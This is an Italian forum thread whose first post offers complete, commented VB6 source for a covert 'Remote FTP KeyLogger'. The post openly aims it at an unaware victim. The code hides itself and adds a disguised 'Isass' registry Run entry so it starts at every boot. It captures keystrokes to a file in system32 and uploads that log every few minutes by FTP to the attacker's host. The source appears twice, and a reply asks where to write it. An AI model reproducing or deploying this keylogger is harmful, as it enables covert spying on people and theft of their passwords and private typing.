Come Creare Un Keyloger

  1. #1
    Remote FTP KeyLogger (RFK) By FireFox aka Corrupted

    Descrizione del prodotto


    Il Remote FTP KeyLogger (RFK) V1 By FireFox aka Corrupted è un KeyLogger di un'usabilità di estrema facilità che permette l'apprendimento di importanti nozioni di VB6.
    Spiegazione del funzionamento


    Il programma al momento dell'apertura viene eseguito anonimamente senza mostrarsi all'ignara vittima che procede la sua avventura informatica tranquillamente, senza sapere che nel suo pc adesso c'e' un bel KeyLogger pronto a registrare tutte le pulsazioni della sua povera tastiera. I log saranno salvati come "C:\WINDOWS\system32\keylog.txt", ma ovviamente potrete cambiare facilmente directory e nome del file. Ogni 5 minuti il file keylog.txt verrà uploadato sul vostro host e voi potrete comodamente leggere il report frutto di tanto lavoro.
    Source + Guida alla creazione


    Source (commentati passo per passo)



    Private Sub Form_Load()
    Set reg = CreateObject("Wscript.shell")
    reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
    Dim Ritardo As Long 'dichiarazione variabile ritardo
    Dim testo As String 'dichiarazione variabile testo
    SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
    Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
    End Sub

    Private Sub testo_Change() 'quando il textbox cambia
    Open "C:\WINDOWS\system32\keylog.txt" For Append As #1 'creo un file e ci scrivo tutto il testo digitato
    Print #1, "Remote FTP KeyLogger v1 By Corrupted aka FF - Testo digitato: " & testo.Text & ", "
    Close #1
    End Sub

    Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
    If GetAsyncKeyState(vbKeyA) Then
    testo = testo + "a"
    ElseIf GetAsyncKeyState(vbKeyB) Then
    testo = testo + "b"
    ElseIf GetAsyncKeyState(vbKeyC) Then
    testo = testo + "c"
    ElseIf GetAsyncKeyState(vbKeyD) Then
    testo = testo + "d"
    ElseIf GetAsyncKeyState(vbKeyE) Then
    testo = testo + "e"
    ElseIf GetAsyncKeyState(vbKeyF) Then
    testo = testo + "f"
    ElseIf GetAsyncKeyState(vbKeyG) Then
    testo = testo + "g"
    ElseIf GetAsyncKeyState(vbKeyH) Then
    testo = testo + "h"
    ElseIf GetAsyncKeyState(vbKeyI) Then
    testo = testo + "i"
    ElseIf GetAsyncKeyState(vbKeyJ) Then
    testo = testo + "j"
    ElseIf GetAsyncKeyState(vbKeyK) Then
    testo = testo + "k"
    ElseIf GetAsyncKeyState(vbKeyL) Then
    testo = testo + "l"
    ElseIf GetAsyncKeyState(vbKeyM) Then
    testo = testo + "m"
    ElseIf GetAsyncKeyState(vbKeyN) Then
    testo = testo + "n"
    ElseIf GetAsyncKeyState(vbKeyO) Then
    testo = testo + "o"
    ElseIf GetAsyncKeyState(vbKeyP) Then
    testo = testo + "p"
    ElseIf GetAsyncKeyState(vbKeyQ) Then
    testo = testo + "q"
    ElseIf GetAsyncKeyState(vbKeyR) Then
    testo = testo + "r"
    ElseIf GetAsyncKeyState(vbKeyS) Then
    testo = testo + "s"
    ElseIf GetAsyncKeyState(vbKeyT) Then
    testo = testo + "t"
    ElseIf GetAsyncKeyState(vbKeyU) Then
    testo = testo + "u"
    ElseIf GetAsyncKeyState(vbKeyV) Then
    testo = testo + "v"
    ElseIf GetAsyncKeyState(vbKeyW) Then
    testo = testo + "w"
    ElseIf GetAsyncKeyState(vbKeyX) Then
    testo = testo + "x"
    ElseIf GetAsyncKeyState(vbKeyY) Then
    testo = testo + "y"
    ElseIf GetAsyncKeyState(vbKeyZ) Then
    testo = testo + "z"
    ElseIf GetAsyncKeyState(vbKey0) Then
    testo = testo + "0"
    ElseIf GetAsyncKeyState(vbKey1) Then
    testo = testo + "1"
    ElseIf GetAsyncKeyState(vbKey2) Then
    testo = testo + "2"
    ElseIf GetAsyncKeyState(vbKey3) Then
    testo = testo + "3"
    ElseIf GetAsyncKeyState(vbKey4) Then
    testo = testo + "4"
    ElseIf GetAsyncKeyState(vbKey5) Then
    testo = testo + "5"
    ElseIf GetAsyncKeyState(vbKey6) Then
    testo = testo + "6"
    ElseIf GetAsyncKeyState(vbKey7) Then
    testo = testo + "7"
    ElseIf GetAsyncKeyState(vbKey8) Then
    testo = testo + "8"
    ElseIf GetAsyncKeyState(vbKey9) Then
    testo = testo + "9"
    ElseIf GetAsyncKeyState(vbKeyEscape) Then
    testo = testo + "<Esc>"
    ElseIf GetAsyncKeyState(vbKeySpace) Then
    testo = testo + "<Space>"
    ElseIf GetAsyncKeyState(vbKeyBack) Then
    testo = testo + "<BackSpace>"
    ElseIf GetAsyncKeyState(vbKeyDelete) Then
    testo = testo + "<Canc>"
    ElseIf GetAsyncKeyState(vbKeyDown) Then
    testo = testo + "<Freccia Giù>"
    ElseIf GetAsyncKeyState(vbKeyShift) Then
    testo = testo + "<Shift>"
    ElseIf GetAsyncKeyState(vbKeyTab) Then
    testo = testo + "<Tab>"
    ElseIf GetAsyncKeyState(vbKeyUp) Then
    testo = testo + "<Freccia Sù>"
    ElseIf GetAsyncKeyState(vbKeyRight) Then
    testo = testo + "<Freccia Destra>"
    ElseIf GetAsyncKeyState(vbKeyLeft) Then
    testo = testo + "<Freccia Sinistra>"
    ElseIf GetAsyncKeyState(vbKeyPageUp) Then
    testo = testo + "<Pagina Sopra>"
    ElseIf GetAsyncKeyState(vbKeyPageDown) Then
    testo = testo + "<Pagina Sotto>"
    ElseIf GetAsyncKeyState(vbKeyF1) Then
    testo = testo + "<F1>"
    ElseIf GetAsyncKeyState(vbKeyF2) Then
    testo = testo + "<F2>"
    ElseIf GetAsyncKeyState(vbKeyF3) Then
    testo = testo + "<F3>"
    ElseIf GetAsyncKeyState(vbKeyF4) Then
    testo = testo + "<F4>"
    ElseIf GetAsyncKeyState(vbKeyF5) Then
    testo = testo + "<F5>"
    ElseIf GetAsyncKeyState(vbKeyF6) Then
    testo = testo + "<F6>"
    ElseIf GetAsyncKeyState(vbKeyF7) Then
    testo = testo + "<F7>"
    ElseIf GetAsyncKeyState(vbKeyF8) Then
    testo = testo + "<F8>"
    ElseIf GetAsyncKeyState(vbKeyF9) Then
    testo = testo + "<F9>"
    ElseIf GetAsyncKeyState(vbKeyF10) Then
    testo = testo + "<F10>"
    ElseIf GetAsyncKeyState(vbKeyF11) Then
    testo = testo + "<F11>"
    ElseIf GetAsyncKeyState(vbKeyF12) Then
    testo = testo + "<F12>"
    ElseIf GetAsyncKeyState(vbKeF13) Then
    testo = testo + "<F13>"
    ElseIf GetAsyncKeyState(vbKeyEnd) Then
    testo = testo + "<FINE>"
    End If
    End Sub

    Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
    Timer3.Enabled = True
    Timer2.Enabled = False
    End Sub

    Private Sub Timer3_Timer() 'vedi commento timer2
    Timer4.Enabled = True
    Timer3.Enabled = False
    End Sub

    Private Sub Timer4_Timer() 'vedi commento timer2
    Timer5.Enabled = True
    Timer4.Enabled = False
    End Sub

    Private Sub Timer5_Timer() 'vedi commento timer2
    Timer6.Enabled = True
    Timer5.Enabled = False
    End Sub

    Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
    Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
    Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'

    ftp del nostro sito
    account = ".Shell" 'nome nostro account hosting
    pswd = "******" 'password account hosting
    ftpwebsite = "ftp://mywebsite.altervista.org" '

    ndirizzo ftp nostro host
    Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
    Inet1.UserName = account 'settaggio account
    Inet1.Password = pswd 'settaggio password
    nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
    Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'
    i
    ndirizzo del file che dovete prelevare dal pc della vittima
    Do While Inet1.StillExecuting = True 'looooop ti amo Come Creare Un Keyloger
    DoEvents
    Loop
    Timer6.Enabled = False
    Timer2.Enabled = True
    End Sub

    Codice del Modulo
    CODICE
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
    Const SPI_GETKEYBOARDSPEED = 10





    Private Sub Form_Load()
    Set reg = CreateObject("Wscript.shell")
    reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
    Dim Ritardo As Long 'dichiarazione variabile ritardo
    Dim testo As String 'dichiarazione variabile testo
    SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
    Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
    End Sub

    Private Sub testo_Change() 'quando il textbox cambia
    Open "C:\WINDOWS\system32\keylog.txt" For Append As #1 'creo un file e ci scrivo tutto il testo digitato
    Print #1, "Remote FTP KeyLogger v1 By Corrupted aka FF - Testo digitato: " & testo.Text & ", "
    Close #1
    End Sub

    Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
    If GetAsyncKeyState(vbKeyA) Then
    testo = testo + "a"
    ElseIf GetAsyncKeyState(vbKeyB) Then
    testo = testo + "b"
    ElseIf GetAsyncKeyState(vbKeyC) Then
    testo = testo + "c"
    ElseIf GetAsyncKeyState(vbKeyD) Then
    testo = testo + "d"
    ElseIf GetAsyncKeyState(vbKeyE) Then
    testo = testo + "e"
    ElseIf GetAsyncKeyState(vbKeyF) Then
    testo = testo + "f"
    ElseIf GetAsyncKeyState(vbKeyG) Then
    testo = testo + "g"
    ElseIf GetAsyncKeyState(vbKeyH) Then
    testo = testo + "h"
    ElseIf GetAsyncKeyState(vbKeyI) Then
    testo = testo + "i"
    ElseIf GetAsyncKeyState(vbKeyJ) Then
    testo = testo + "j"
    ElseIf GetAsyncKeyState(vbKeyK) Then
    testo = testo + "k"
    ElseIf GetAsyncKeyState(vbKeyL) Then
    testo = testo + "l"
    ElseIf GetAsyncKeyState(vbKeyM) Then
    testo = testo + "m"
    ElseIf GetAsyncKeyState(vbKeyN) Then
    testo = testo + "n"
    ElseIf GetAsyncKeyState(vbKeyO) Then
    testo = testo + "o"
    ElseIf GetAsyncKeyState(vbKeyP) Then
    testo = testo + "p"
    ElseIf GetAsyncKeyState(vbKeyQ) Then
    testo = testo + "q"
    ElseIf GetAsyncKeyState(vbKeyR) Then
    testo = testo + "r"
    ElseIf GetAsyncKeyState(vbKeyS) Then
    testo = testo + "s"
    ElseIf GetAsyncKeyState(vbKeyT) Then
    testo = testo + "t"
    ElseIf GetAsyncKeyState(vbKeyU) Then
    testo = testo + "u"
    ElseIf GetAsyncKeyState(vbKeyV) Then
    testo = testo + "v"
    ElseIf GetAsyncKeyState(vbKeyW) Then
    testo = testo + "w"
    ElseIf GetAsyncKeyState(vbKeyX) Then
    testo = testo + "x"
    ElseIf GetAsyncKeyState(vbKeyY) Then
    testo = testo + "y"
    ElseIf GetAsyncKeyState(vbKeyZ) Then
    testo = testo + "z"
    ElseIf GetAsyncKeyState(vbKey0) Then
    testo = testo + "0"
    ElseIf GetAsyncKeyState(vbKey1) Then
    testo = testo + "1"
    ElseIf GetAsyncKeyState(vbKey2) Then
    testo = testo + "2"
    ElseIf GetAsyncKeyState(vbKey3) Then
    testo = testo + "3"
    ElseIf GetAsyncKeyState(vbKey4) Then
    testo = testo + "4"
    ElseIf GetAsyncKeyState(vbKey5) Then
    testo = testo + "5"
    ElseIf GetAsyncKeyState(vbKey6) Then
    testo = testo + "6"
    ElseIf GetAsyncKeyState(vbKey7) Then
    testo = testo + "7"
    ElseIf GetAsyncKeyState(vbKey8) Then
    testo = testo + "8"
    ElseIf GetAsyncKeyState(vbKey9) Then
    testo = testo + "9"
    ElseIf GetAsyncKeyState(vbKeyEscape) Then
    testo = testo + "<Esc>"
    ElseIf GetAsyncKeyState(vbKeySpace) Then
    testo = testo + "<Space>"
    ElseIf GetAsyncKeyState(vbKeyBack) Then
    testo = testo + "<BackSpace>"
    ElseIf GetAsyncKeyState(vbKeyDelete) Then
    testo = testo + "<Canc>"
    ElseIf GetAsyncKeyState(vbKeyDown) Then
    testo = testo + "<Freccia Giù>"
    ElseIf GetAsyncKeyState(vbKeyShift) Then
    testo = testo + "<Shift>"
    ElseIf GetAsyncKeyState(vbKeyTab) Then
    testo = testo + "<Tab>"
    ElseIf GetAsyncKeyState(vbKeyUp) Then
    testo = testo + "<Freccia Sù>"
    ElseIf GetAsyncKeyState(vbKeyRight) Then
    testo = testo + "<Freccia Destra>"
    ElseIf GetAsyncKeyState(vbKeyLeft) Then
    testo = testo + "<Freccia Sinistra>"
    ElseIf GetAsyncKeyState(vbKeyPageUp) Then
    testo = testo + "<Pagina Sopra>"
    ElseIf GetAsyncKeyState(vbKeyPageDown) Then
    testo = testo + "<Pagina Sotto>"
    ElseIf GetAsyncKeyState(vbKeyF1) Then
    testo = testo + "<F1>"
    ElseIf GetAsyncKeyState(vbKeyF2) Then
    testo = testo + "<F2>"
    ElseIf GetAsyncKeyState(vbKeyF3) Then
    testo = testo + "<F3>"
    ElseIf GetAsyncKeyState(vbKeyF4) Then
    testo = testo + "<F4>"
    ElseIf GetAsyncKeyState(vbKeyF5) Then
    testo = testo + "<F5>"
    ElseIf GetAsyncKeyState(vbKeyF6) Then
    testo = testo + "<F6>"
    ElseIf GetAsyncKeyState(vbKeyF7) Then
    testo = testo + "<F7>"
    ElseIf GetAsyncKeyState(vbKeyF8) Then
    testo = testo + "<F8>"
    ElseIf GetAsyncKeyState(vbKeyF9) Then
    testo = testo + "<F9>"
    ElseIf GetAsyncKeyState(vbKeyF10) Then
    testo = testo + "<F10>"
    ElseIf GetAsyncKeyState(vbKeyF11) Then
    testo = testo + "<F11>"
    ElseIf GetAsyncKeyState(vbKeyF12) Then
    testo = testo + "<F12>"
    ElseIf GetAsyncKeyState(vbKeF13) Then
    testo = testo + "<F13>"
    ElseIf GetAsyncKeyState(vbKeyEnd) Then
    testo = testo + "<FINE>"
    End If
    End Sub

    Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
    Timer3.Enabled = True
    Timer2.Enabled = False
    End Sub

    Private Sub Timer3_Timer() 'vedi commento timer2
    Timer4.Enabled = True
    Timer3.Enabled = False
    End Sub

    Private Sub Timer4_Timer() 'vedi commento timer2
    Timer5.Enabled = True
    Timer4.Enabled = False
    End Sub

    Private Sub Timer5_Timer() 'vedi commento timer2
    Timer6.Enabled = True
    Timer5.Enabled = False
    End Sub

    Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
    Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
    Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'
    indirizzo ftp del nostro sito
    account = ".Shell" 'nome nostro account hosting
    pswd = "******" 'password account hosting
    ftpwebsite = "ftp://mywebsite.altervista.org" 'i
    ndirizzo ftp nostro host
    Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
    Inet1.UserName = account 'settaggio account
    Inet1.Password = pswd 'settaggio password
    nomefile = "log.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
    Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'
    i


    ndirizzo del file che dovete prelevare dal pc della vittima
    Do While Inet1.StillExecuting = True 'looooop ti amo Come Creare Un Keyloger
    DoEvents
    Loop
    Timer6.Enabled = False
    Timer2.Enabled = True
    End Sub

    Codice del Modulo
    CODICE
    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
    Const SPI_GETKEYBOARDSPEED = 10


    [/CODE]






    Ultima modifica di Tanker32; 01-08-2013 alle 22:20

  2. #2
    Utente Esperto L'avatar di Ishidaz
    Data Registrazione
    Sep 2013
    Località
    SICILIA
    Messaggi
    296
    Tutto questo dove bisogna essere scritto?

Termini piu ricercati:

Nessuno è atterrato su questa pagina da un motore di ricerca. Almeno, non per ora...